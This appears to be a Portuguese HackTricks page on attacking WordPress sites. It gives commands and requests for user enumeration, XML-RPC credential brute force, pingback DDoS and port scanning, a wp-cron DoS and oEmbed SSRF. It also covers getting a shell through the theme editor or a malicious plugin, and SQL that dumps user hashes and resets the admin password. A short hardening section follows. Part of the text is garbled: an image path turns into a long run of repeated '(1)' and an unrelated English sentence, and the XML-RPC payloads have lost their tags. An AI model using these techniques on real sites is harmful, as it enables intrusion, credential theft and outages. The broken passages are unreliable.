# Wordpress
Aprenda hacking no AWS do zero ao herói comhtARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias **mais avançadas** do mundo.\
Obtenha Acesso Hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Informações Básicas
**Arquivos carregados** vão para: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\
**Arquivos de temas podem ser encontrados em /wp-content/themes/,** então se você alterar algum php do tema para obter RCE provavelmente usará esse caminho. Por exemplo: Usando o **tema twentytwelve** você pode **acessar** o arquivo **404.php** em: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\
**Outra URL útil pode ser:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
No **wp-config.php** você pode encontrar a senha root do banco de dados.
Caminhos de login padrão para verificar: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Principais Arquivos do WordPress**
* `index.php`
* `license.txt` contém informações úteis como a versão do WordPress instalada.
* `wp-activate.php` é usado para o processo de ativação por e-mail ao configurar um novo site WordPress.
* Pastas de login (podem ser renomeadas para ocultá-las):
* `/wp-admin/login.php`
* `/wp-admin/wp-login.php`
* `/login.php`
* `/wp-login.php`
* `xmlrpc.php` é um arquivo que representa um recurso do WordPress que permite a transmissão de dados com o HTTP atuando como mecanismo de transporte e XML como mecanismo de codificação. Esse tipo de comunicação foi substituído pela [REST API](https://developer.wordpress.org/rest-api/reference) do WordPress.
* A pasta `wp-content` é o diretório principal onde plugins e temas são armazenados.
* `wp-content/uploads/` É o diretório onde quaisquer arquivos carregados na plataforma são armazenados.
* `wp-includes/` Este é o diretório onde os arquivos principais são armazenados, como certificados, fontes, arquivos JavaScript e widgets.
* `wp-sitemap.xml` Nas versões do Wordpress 5.5 e superiores, o Wordpress gera um arquivo XML de sitemap com todos os posts públicos e tipos de post e taxonomias publicamente consultáveis.
**Pós exploração**
* O arquivo `wp-config.php` contém informações necessárias para o WordPress se conectar ao banco de dados, como o nome do banco de dados, host do banco de dados, nome de usuário e senha, chaves de autenticação e sais, e o prefixo da tabela do banco de dados. Este arquivo de configuração também pode ser usado para ativar o modo DEBUG, que pode ser útil na resolução de problemas.
### Permissões de Usuários
* **Administrador**
* **Editor**: Publica e gerencia seus posts e de outros
* **Autor**: Publica e gerencia seus próprios posts
* **Colaborador**: Escreve e gerencia seus posts mas não pode publicá-los
* **Assinante**: Navega pelos posts e edita seu perfil
## **Enumeração Passiva**
### **Obter versão do WordPress**
Verifique se você consegue encontrar os arquivos `/license.txt` ou `/readme.html`
Dentro do **código-fonte** da página (exemplo de [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
* grep
```bash
curl https://victim.com/ | grep 'content="WordPress'
```
* `meta name`
![](<../../.gitbook/assets/image (343).png>)
* Arquivos de link CSS
![](<../../.gitbook/assets/image (344).png>)
* Arquivos JavaScript
![](<../../.gitbook/assets/image (346).png>)
### Obter Plugins
{% code overflow="wrap" %}
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Obter Temas
{% code overflow="wrap" %}
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Extrair versões em geral
{% code overflow="wrap" %}
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
{% endcode %}
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias **mais avançadas** do mundo.\
Obtenha Acesso Hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Enumeração Ativa
### Plugins e Temas
Provavelmente você não conseguirá encontrar todos os Plugins e Temas possíveis. Para descobrir todos eles, você precisará **forçar ativamente a lista de Plugins e Temas** (felizmente para nós, existem ferramentas automatizadas que contêm essas listas).
### Usuários
**ID Brute**
Você obtém usuários válidos de um site WordPress forçando Brute nos IDs dos usuários:
```
curl -s -I -X GET http://blog.example.com/?author=1
```
Se as respostas forem **200** ou **30X**, isso significa que o id é **válido**. Se a resposta for **400**, então o id é **inválido**.
**wp-json**
Você também pode tentar obter informações sobre os usuários consultando:
```
curl http://blog.example.com/wp-json/wp/v2/users
```
Outro endpoint `/wp-json/` que pode revelar algumas informações sobre usuários é:
```
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Observe que este endpoint só expõe usuários que fizeram uma postagem. **Apenas informações sobre os usuários que têm esse recurso ativado serão fornecidas**.
Note também que **/wp-json/wp/v2/pages** poderia vazar endereços IP.
#### Enumeração de nome de usuário no login
Ao fazer login em **`/wp-login.php`**, a **mensagem** é **diferente** se o **nome de usuário indicado existir ou não**.
### XML-RPC
Se `xml-rpc.php` estiver ativo, você pode realizar um brute-force de credenciais ou usá-lo para lançar ataques DoS a outros recursos. (Você pode automatizar esse processo [usando isto](https://github.com/relarizky/wpxploit), por exemplo).
Para ver se está ativo, tente acessar _**/xmlrpc.php**_ e envie esta solicitação:
**Verifique**
```markup
system.listMethods
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**Bruteforce de Credenciais**
**`wp.getUserBlogs`**, **`wp.getCategories`** ou **`metaWeblog.getUsersBlogs`** são alguns dos métodos que podem ser usados para bruteforce de credenciais. Se você encontrar algum deles, pode enviar algo como:
```markup
wp.getUsersBlogsadminpass
```
A mensagem _"Incorrect username or password"_ dentro de uma resposta com código 200 deve aparecer se as credenciais não forem válidas.
![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1. The first time I saw it, I was like, "Oh, that's a good one."
```markup
wp.uploadFile1usernamepasswordnamefilename.jpgtypemime/typebits
```
Também existe uma **forma mais rápida** de forçar bruta as credenciais usando **`system.multicall`**, pois você pode tentar várias credenciais na mesma solicitação:
**Bypass no 2FA**
Este método é destinado a programas e não a humanos, e é antigo, portanto, não suporta 2FA. Assim, se você tem credenciais válidas, mas a entrada principal é protegida por 2FA, **você pode ser capaz de abusar do xmlrpc.php para fazer login com essas credenciais, contornando o 2FA**. Note que você não será capaz de realizar todas as ações que pode fazer através do console, mas ainda assim poderá conseguir um RCE, como Ippsec explica em [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s)
**DDoS ou varredura de portas**
Se você encontrar o método _**pingback.ping**_ na lista, você pode fazer o Wordpress enviar uma solicitação arbitrária para qualquer host/porta.\
Isso pode ser usado para pedir a **milhares** de **sites** Wordpress para **acessar** um **local** (causando assim um **DDoS** nesse local) ou você pode usá-lo para fazer o **Wordpress** **escanear** alguma **rede interna** (você pode indicar qualquer porta).
```markup
pingback.pinghttp://:http://
```
![](../../.gitbook/assets/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
Se você receber **faultCode** com um valor **maior** que **0** (17), significa que a porta está aberta.
Veja o uso de **`system.multicall`** na seção anterior para aprender como abusar deste método para causar DDoS.
**DDoS**
```markup
pingback.pinghttp://target/http://yoursite.com/and_some_valid_blog_post_url
```
![](<../../.gitbook/assets/image (103).png>)
### wp-cron.php DoS
Este arquivo geralmente existe na raiz do site Wordpress: **`/wp-cron.php`**\
Quando este arquivo é **acessado**, uma **consulta** MySQL "**pesada**" é realizada, então ele pode ser usado por **atacantes** para **causar** um **DoS**.\
Além disso, por padrão, o `wp-cron.php` é chamado a cada carregamento de página (sempre que um cliente solicita qualquer página Wordpress), o que em sites com alto tráfego pode causar problemas (DoS).
É recomendado desativar o Wp-Cron e criar um cronjob real dentro do host que execute as ações necessárias em um intervalo regular (sem causar problemas).
### /wp-json/oembed/1.0/proxy - SSRF
Tente acessar _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e o site Worpress pode fazer uma solicitação para você.
Esta é a resposta quando não funciona:
![](<../../.gitbook/assets/image (184) (1).png>)
### SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
Esta ferramenta verifica se o **methodName: pingback.ping** e o caminho **/wp-json/oembed/1.0/proxy** existem e, se existirem, tenta explorá-los.
### Ferramentas Automáticas
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas** do mundo.\
Obtenha Acesso Hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Obter acesso sobrescrevendo um bit
Mais do que um ataque real, isso é uma curiosidade. No CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) você poderia inverter 1 bit de qualquer arquivo do wordpress. Então, você poderia inverter a posição `5389` do arquivo `/var/www/html/wp-includes/user.php` para NOP a operação NOT (`!`).
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**
**Modificando um php do tema utilizado (credenciais de admin necessárias)**
Aparência → Editor de Tema → Modelo 404 (à direita)
Altere o conteúdo por um shell php:
![](<../../.gitbook/assets/image (21) (1) (1).png>)
Pesquise na internet como você pode acessar essa página atualizada. Neste caso, você deve acessar aqui: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
Você pode usar:
```
use exploit/unix/webapp/wp_admin_shell_upload
```
para obter uma sessão.
## Plugin RCE
### Plugin PHP
Pode ser possível fazer upload de arquivos .php como um plugin.\
Crie seu backdoor php usando, por exemplo:
![](<../../.gitbook/assets/image (407).png>)
Em seguida, adicione um novo plugin:
![](<../../.gitbook/assets/image (409).png>)
Faça upload do plugin e pressione Instalar Agora:
![](<../../.gitbook/assets/image (411).png>)
Clique em Proceder:
![](<../../.gitbook/assets/image (412).png>)
Provavelmente isso não fará nada aparentemente, mas se você for em Mídia, verá seu shell carregado:
![](<../../.gitbook/assets/image (413).png>)
Acesse-o e você verá a URL para executar o shell reverso:
![](<../../.gitbook/assets/image (414).png>)
### Fazendo upload e ativando plugin malicioso
**(Esta parte é copiada de** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)**)**
Às vezes, usuários logados não possuem autorização para escrever e fazer modificações no tema do WordPress, então escolhemos "Injetar plugin WP malicioso" como uma estratégia alternativa para adquirir um web shell.
Então, uma vez que você tenha acesso ao painel do WordPress, você pode tentar instalar um plugin malicioso. Aqui eu já baixei o plugin vulnerável do exploit db.
Clique [**aqui**](https://www.exploit-db.com/exploits/36374) para baixar o plugin para prática.
![](https://i1.wp.com/1.bp.blogspot.com/-Y\_Aw7zSFJZs/XY9pymSjdvI/AAAAAAAAguY/FGyGEzlx9VIqNYyyra9r55IklNmwXwMQwCLcBGAsYHQ/s1600/10.png?w=687\&ssl=1)
Como temos o arquivo zip do plugin, agora é hora de fazer o upload do plugin.
Painel > plugins > fazer upload de plugin
![](https://i0.wp.com/1.bp.blogspot.com/-FLhqB0I32Mg/XY9pyrlKWAI/AAAAAAAAguU/tofpIetTCv4Mho5y5D\_sDuuokC7mDmKowCLcBGAsYHQ/s1600/11.png?w=687\&ssl=1)
Procure o arquivo zip baixado conforme mostrado.
![](https://i2.wp.com/1.bp.blogspot.com/-KMumiwE2Tf0/XY9pzznEI4I/AAAAAAAAguk/BavBJP6plFo8NIpa38oWEKfx0jkOXv3HgCLcBGAsYHQ/s1600/12.png?w=687\&ssl=1)
Uma vez que o pacote seja instalado com sucesso, precisamos ativar o plugin.
![](https://i2.wp.com/1.bp.blogspot.com/-YrFg94Y2EZs/XY9pzydfLDI/AAAAAAAAgug/AjZyQ6Na8kUUmquJXwoapxcmr2-8nAMwQCLcBGAsYHQ/s1600/13.png?w=687\&ssl=1)
Quando tudo estiver bem configurado, então vá para a exploração. Como instalamos o plugin vulnerável chamado "reflex-gallery" e ele é facilmente explorável.
Você encontrará o exploit para esta vulnerabilidade dentro do framework Metasploit e, portanto, carregue o módulo abaixo e execute o seguinte comando:
Conforme os comandos acima são executados, você terá sua sessão meterpreter. Assim como retratado neste artigo, existem vários métodos para explorar um site com plataforma WordPress.
![](https://i1.wp.com/1.bp.blogspot.com/-s6Yblqj-zQ8/XY9pz0qYWAI/AAAAAAAAguo/WXgEBKIB64Ian\_RQWaltbEtdzCNpexKOwCLcBGAsYHQ/s1600/14.png?w=687\&ssl=1)
## Pós-Exploração
Extraia nomes de usuário e senhas:
```bash
mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
Alterar senha do administrador:
```bash
mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Proteção do WordPress
### Atualizações Regulares
Certifique-se de que o WordPress, plugins e temas estão atualizados. Confirme também que a atualização automática está habilitada em wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
Também, **instale apenas plugins e temas WordPress confiáveis**.
### Plugins de Segurança
* [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
* [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
* [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
### **Outras Recomendações**
* Remova o usuário **admin** padrão
* Use **senhas fortes** e **2FA**
* Revise periodicamente as **permissões** dos usuários
* **Limite as tentativas de login** para prevenir ataques de Força Bruta
* Renomeie o arquivo **`wp-admin.php`** e permita acesso apenas internamente ou de certos endereços IP.
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas** do mundo.\
Obtenha Acesso Hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Aprenda hacking no AWS do zero ao herói comhtARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).